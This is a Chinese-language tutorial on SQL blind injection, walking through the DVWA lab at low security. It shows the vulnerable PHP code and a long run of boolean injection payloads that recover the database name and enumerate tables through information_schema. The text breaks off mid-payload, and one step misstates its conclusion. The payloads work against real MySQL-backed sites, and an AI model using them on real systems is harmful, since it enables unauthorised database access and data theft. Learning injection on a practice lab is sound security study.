一)区别:
SQL盲注与一般注入的区别在于一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。
二)思想:
在盲注中,页面无论对错都只会以 “是” 或者 “不是”来对我们的SQL语句进行结果的反馈,因此我们需要构造payload去询问例如“数据库名字的第一个字母是不是a?”,通过问答的方式最终获取我们想要的数据。
三)盲注分为基于布尔盲注、基于时间盲注以及基于报错盲注。以下简要介绍手工盲注的步骤(与之前的手工注入作比较):
1.判断是否存在注入,注入是字符型还是数字型
2.猜解当前数据库名
3.猜解数据库中的表名
4.猜解表中的字段名
5.猜解数据
四)实际操作:
引入:
在SQL盲注的dvwa练习中,我们选择完等级以后可能会报错:
根据错误提示进入指定路径下的对应文件中,将错误的地方进行修改,这里就是指第65行的 [ 有错,我们直接把它去掉即可:
原本:
修改:
DVWA——SQL-blind——low
核心源码:
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysql_query( $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysql_numrows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
mysql_close();
}
?>
可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句返回的页面结果只有两种:
1)User ID exists in the database.
2)User ID is MISSING from the database.
方法一:(基于布尔的盲注)
1)判断是否存在注入,注入是字符型还是数字型(方法同显注的union相同)。
输入 1’
输入 1 and 1=1
输入 1 and 1=2
输入 1’
输入 1’ and 1=1#
输入 1’ and 1=2-- ’
结论:字符型(因为字符型的会显示不同的提示证明SQL语句被成功执行,而数字型无论SQL对错页面显示的提示都是相同的证明SQL语句并没有被执行)。
2)判断字段数:
输入 1’ order by 1#
输入 1’ order by 2#
输入 1’ order by 3#
结论:字段数是2
3)猜解当前数据库猜解数据库名的长度
1) 1' and length(database())=1 #,显示不存在;
或者:
2) 1' and length(database())>3 #,显示存在;
使用 1)得到结果是:
直到 length(database())=4 才显示存在:
使用 2)得到结果是:
直到length(database())>4 才显示不存在:
结论:数据库名长度为4。
4)猜解每个字符(名称)【采用二分法猜解库名】
1)输入1' and ascii(substr(database(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);
2)输入1' and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);
3)输入1' and ascii(substr(database(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值大于等于100(小写字母d的ascii值);
4)输入1' and ascii(substr(database(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值大于等于100(小写字母d的ascii值);
5)输入1' and ascii(substr(database(),2,1))>97 #,显示存在,说明数据库名的第二个字符的ascii值大于97(小写字母a的ascii值);
6)输入1' and ascii(substr(database(),2,1))<122 #,显示存在,说明数据库名的第二个字符的ascii值小于122(小写字母z的ascii值);
使用 1)得到结果是:
使用 2)得到结果是:
使用 3)得到结果是:
使用 4)得到结果是:
由 3)和 4)最终确定第一个字符是 d,重复上述步骤,就可以猜解出完整的数据库名(dvwa)
结论:当前数据库名称是dvwa。
5)猜解数据库中表的数量
1) 1' and (select count (table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在
2) 1' and (select count (table_name) from information_schema.tables where table_schema=database() )=2 # 显示存在
结论:数据库中共有两个表
6 )猜解表长
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在
…………
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1